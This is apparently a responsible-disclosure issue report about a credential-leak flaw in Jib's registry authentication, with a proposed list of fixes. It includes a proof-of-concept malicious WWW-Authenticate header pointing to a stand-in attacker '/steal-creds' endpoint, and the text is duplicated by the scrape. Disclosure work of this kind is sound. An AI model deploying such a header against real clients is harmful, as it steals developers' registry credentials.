Summary
RegistryAuthenticator.fromAuthenticationMethod() parses the realm value directly out of a registry's WWW-Authenticate response header with no validation of its host, then Jib sends the configured registry credentials (Basic auth or OAuth2 refresh token) to that URL:
Pattern realmPattern = Pattern.compile("realm=\"(.*?)\"");
...
String realm = realmMatcher.group(1);
URL getAuthenticationUrl(...) {
return isOAuth2Auth(credential) ? new URL(realm) : new URL(realm + "?" + ...);
}
Since realm is fully attacker-controlled, a malicious or compromised registry can point it at an attacker-controlled HTTPS endpoint and receive the developer's real registry credentials. This fires on Jib's default, most common usage (any registry pull/push with credentials configured) — no special configuration needed.
Note: Jib's FailoverHttpClient already strips Authorization for plain-HTTP targets, which blocks the trivial plain-HTTP variant — but a realistic attacker just uses HTTPS (free to obtain), bypassing that safeguard entirely. Confirmed with a PoC: a plain-HTTP attacker endpoint received nothing, an HTTPS one received the full Basic-auth credentials.
Why this matters now — established CWE-918 pattern with 2026 precedent
This is the same root cause (CWE-918, SSRF via unvalidated URL from an upstream response) behind several 2026 CVEs in sibling tools:
Proof of Concept
Two local mock HTTPS servers (self-signed certs, loopback only):
- Mock registry → responds to any manifest request with
401 + WWW-Authenticate: Bearer realm="https://<attacker>/steal-creds",service="..."
- Mock attacker collector → logs the
Authorization header of anything it receives
Jib.from(RegistryImage.named("<mock-registry>/fake/repo:latest")
.addCredential(victimUser, victimPassword))
.containerize(...)
Result: the attacker collector received Authorization: Basic <base64 of victimUser:victimPassword> — the real configured credential, sent to an unrelated host.
Why I'm opening an issue rather than a PR this time
Unlike the path-traversal fix (#4522), the correct remediation here is a real compatibility tradeoff, not a one-line guard: legitimate registries commonly use a different host for their token-issuing auth server than the registry itself (Docker Hub's registry-1.docker.io redirects to auth.docker.io). A blind "realm host must equal registry host" check — the fix distribution/distribution shipped for CVE-2026-33540 — risks breaking compatibility with real registries Jib supports today (this project's own issue history shows a lot of registry-specific auth handling — Azure ACR, OpenShift, Nexus, etc.).
Options worth your team's consideration, roughly in order of increasing compatibility risk:
- Reject non-HTTPS realms outright at the point of use (currently only the
Authorization header gets cleared for plain HTTP; the request still fires).
- Compare
realm's registrable domain (eTLD+1) against the registry's, allowing same-organization cross-subdomain realms (covers Docker Hub) while blocking unrelated domains.
- An opt-in strict/allowlist mode for users who know their registry's real auth topology in advance.
Happy to attempt a PR for whichever direction the maintainers think is right, or to help test compatibility against known registries if that's useful.
Summary
RegistryAuthenticator.fromAuthenticationMethod()parses therealmvalue directly out of a registry'sWWW-Authenticateresponse header with no validation of its host, then Jib sends the configured registry credentials (Basic auth or OAuth2 refresh token) to that URL:Since
realmis fully attacker-controlled, a malicious or compromised registry can point it at an attacker-controlled HTTPS endpoint and receive the developer's real registry credentials. This fires on Jib's default, most common usage (any registry pull/push with credentials configured) — no special configuration needed.Note: Jib's
FailoverHttpClientalready stripsAuthorizationfor plain-HTTP targets, which blocks the trivial plain-HTTP variant — but a realistic attacker just uses HTTPS (free to obtain), bypassing that safeguard entirely. Confirmed with a PoC: a plain-HTTP attacker endpoint received nothing, an HTTPS one received the full Basic-auth credentials.Why this matters now — established CWE-918 pattern with 2026 precedent
This is the same root cause (CWE-918, SSRF via unvalidated URL from an upstream response) behind several 2026 CVEs in sibling tools:
distribution/distribution(reference OCI registry impl), fixed by validating realm host matches the expected upstream hostProof of Concept
Two local mock HTTPS servers (self-signed certs, loopback only):
401+WWW-Authenticate: Bearer realm="https://<attacker>/steal-creds",service="..."Authorizationheader of anything it receivesResult: the attacker collector received
Authorization: Basic <base64 of victimUser:victimPassword>— the real configured credential, sent to an unrelated host.Why I'm opening an issue rather than a PR this time
Unlike the path-traversal fix (#4522), the correct remediation here is a real compatibility tradeoff, not a one-line guard: legitimate registries commonly use a different host for their token-issuing auth server than the registry itself (Docker Hub's
registry-1.docker.ioredirects toauth.docker.io). A blind "realm host must equal registry host" check — the fixdistribution/distributionshipped for CVE-2026-33540 — risks breaking compatibility with real registries Jib supports today (this project's own issue history shows a lot of registry-specific auth handling — Azure ACR, OpenShift, Nexus, etc.).Options worth your team's consideration, roughly in order of increasing compatibility risk:
Authorizationheader gets cleared for plain HTTP; the request still fires).realm's registrable domain (eTLD+1) against the registry's, allowing same-organization cross-subdomain realms (covers Docker Hub) while blocking unrelated domains.Happy to attempt a PR for whichever direction the maintainers think is right, or to help test compatibility against known registries if that's useful.